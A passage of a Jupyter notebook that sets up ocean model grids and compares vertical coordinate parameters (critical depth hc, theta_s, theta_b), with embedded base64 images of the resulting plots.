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HGZ599Zuzatcv429/+ZiQkJBgFBQUerFyqyqBBg4y6desay5cvN44fP24sWbLEqF27tjFmzBhHG42RmiUnJ8fYvn27sX37dgMwZs+ebWzfvt04efKkYRjOjYdbb73VuOaaa4zvvvvO2Lhxo9G0aVOjX79+LtWhAOGiV1991ahfv77h5+dnXHfddcaWLVs8XZJ4CPCbr/nz5zvaFBQUGMOGDTNq1aplBAYGGr169TJSUlI8V7R41P8GCI0PWbZsmdG6dWvDbDYbzZs3N958880y++12uzFhwgQjOjraMJvNRpcuXYyDBw96qFqpahaLxRgxYoRRv359w9/f32jUqJExfvx4o6ioyNFGY6RmWbdu3W9+9hg0aJBhGM6Nh/Pnzxv9+vUzgoODjdDQUGPIkCFGTk6OS3V4GcYvljMUERERERG5BD0DISIiIiIiTlOAEBERERERpylAiIiIiIiI0xQgRERERETEaQoQIiIiIiLiNAUIERERERFxmgKEiIiIiIg4TQFCREREREScpgAhIiKVbvLkyVx99dXlPv7EiRN4eXmxY8cOt9UkIiLlowAhIiKV7vHHH2fNmjWeLkNERNzAx9MFiIjIlS84OJjg4OByHVtcXOzmakREpCJ0BUJERCosIyODmJgYnnvuOce2TZs24efnx5o1a1y6hWnw4MH07NmTZ599lri4OK666irHvmPHjnHLLbcQGBhIu3bt2Lx5c5ljP/nkE1q1aoXZbKZhw4bMmjXLLe9PRET+SwFCREQqrE6dOrzzzjtMnjyZH374gZycHAYOHMjw4cPp0qWLy/2tWbOGgwcPsnr1apYvX+7YPn78eB5//HF27NhBs2bN6NevH1arFYBt27Zx991307dvX3bv3s3kyZOZMGECSUlJ7nqbIiKCbmESERE3uf3223nwwQfp378/HTt2JCgoiOnTp5err6CgIN566y38/PyA0oeoofRZih49egAwZcoUWrVqxZEjR2jevDmzZ8+mS5cuTJgwAYBmzZqxb98+XnjhBQYPHlzh9yciIqV0BUJERNzmxRdfxGq1snjxYhYsWIDZbC5XP23atHGEh19q27at4/vY2FgA0tPTAdi/fz+dO3cu075z584cPnwYm81WrjpEROTXFCBERMRtjh49ytmzZ7Hb7Y6rBuURFBT0m9t9fX0d33t5eQFgt9vLfR4REXGdbmESERG3KC4uZsCAAdxzzz1cddVVPPDAA+zevZuoqKgqOX+LFi349ttvy2z79ttvadasGd7e3lVSg4hITaAAISIibjF+/Hiys7N55ZVXCA4O5j//+Q9Dhw4t8xB0ZXrssce49tprmTZtGvfccw+bN2/mtdde4/XXX6+S84uI1BQKECIiUmHr16/n5ZdfZt26dYSGhgLw/vvv065dO+bOnVslNbRv355FixYxceJEpk2bRmxsLFOnTtUD1CIibuZlGIbh6SJEREREROT3QQ9Ri4iIiIiI0xQgRESkSgUHB1/09c0333i6PBERuQzdwiQiIlXqyJEjF91Xt25dAgICqrAaERFxlQKEiIiIiIg4TbcwiYiIiIiI0xQgRERERETEaQoQIiIiIiLiNAUIERERERFxmgKEiIiIiIg4TQFCREREREScpgAhIiIiIiJO+38DgLAArJJOrAAAAABJRU5ErkJggg==", "text/plain": [ "<Figure size 900x500 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "grid.plot_vertical_coordinate(\"layer_depth_rho\", eta=50)" ] }, { "cell_type": "markdown", "id": "55055427-c89d-4aec-a090-402ee71a02fc", "metadata": {}, "source": [ "### Vertical coordinate system parameters\n", "To investigate the vertical coordinate system parameters, we start with a control grid." ] }, { "cell_type": "code", "execution_count": 29, "id": "e6a80149-61a1-4580-b3c0-4320acc4a311", "metadata": { "tags": [] }, "outputs": [], "source": [ "fixed_grid_parameters = {\n", " \"nx\": 100,\n", " \"ny\": 100,\n", " \"size_x\": 1800,\n", " \"size_y\": 2400,\n", " \"center_lon\": -21,\n", " \"center_lat\": 61,\n", " \"rot\": 20,\n", " \"N\": 20,\n", "}" ] }, { "cell_type": "code", "execution_count": 30, "id": "26769964-51e8-4202-adca-a9d9f62ce342", "metadata": { "tags": [] }, "outputs": [], "source": [ "control_grid = Grid(\n", " **fixed_grid_parameters,\n", " theta_s=5.0,\n", " theta_b=2.0,\n", " hc=300.0,\n", ")" ] }, { "cell_type": "code", "execution_count": 31, "id": "53196a71-355b-44b0-b5a0-91f871bde774", "metadata": { "tags": [] }, "outputs": [ { "data": { "text/plain": [ "Grid(nx=100, ny=100, size_x=1800, size_y=2400, center_lon=-21, center_lat=61, rot=20, N=20, theta_s=5.0, theta_b=2.0, hc=300.0, topography_source='ETOPO5', hmin=5.0, straddle=False)" ] }, "execution_count": 31, "metadata": {}, "output_type": "execute_result" } ], "source": [ "control_grid" ] }, { "cell_type": "markdown", "id": "4f3640db-9770-41c7-9f70-b275b8a5ad14", "metadata": {}, "source": [ "We will now change the vertical coordinate system parameters `theta_s`, `theta_b`, and `hc`, and see what effect this has." ] }, { "cell_type": "markdown", "id": "36df370b-64f7-425a-bca9-e95ad9d67b82", "metadata": {}, "source": [ "#### Critical depth\n", "\n", "The critical depth `hc` sets the transition between flat $z$-levels in the upper ocean and terrain-following sigma-levels below. Usually we want to choose `hc` to be comparable with the expected depth of the pycnocline. That being said, let's experiment with the `hc` parameter. " ] }, { "cell_type": "code", "execution_count": 32, "id": "5c8924db-7bfb-4697-84cb-166004b7dc01", "metadata": { "tags": [] }, "outputs": [], "source": [ "grid_with_large_critical_depth = Grid(\n", " **fixed_grid_parameters,\n", " theta_s=control_grid.theta_s,\n", " theta_b=control_grid.theta_b,\n", " hc=1000.0,\n", ")\n", "\n", "grid_with_small_critical_depth = Grid(\n", " **fixed_grid_parameters,\n", " theta_s=control_grid.theta_s,\n", " theta_b=control_grid.theta_b,\n", " hc=50.0,\n", ")" ] }, { "cell_type": "code", "execution_count": 33, "id": "abcd9826-f985-4c6a-8b3f-c472e5b78a11", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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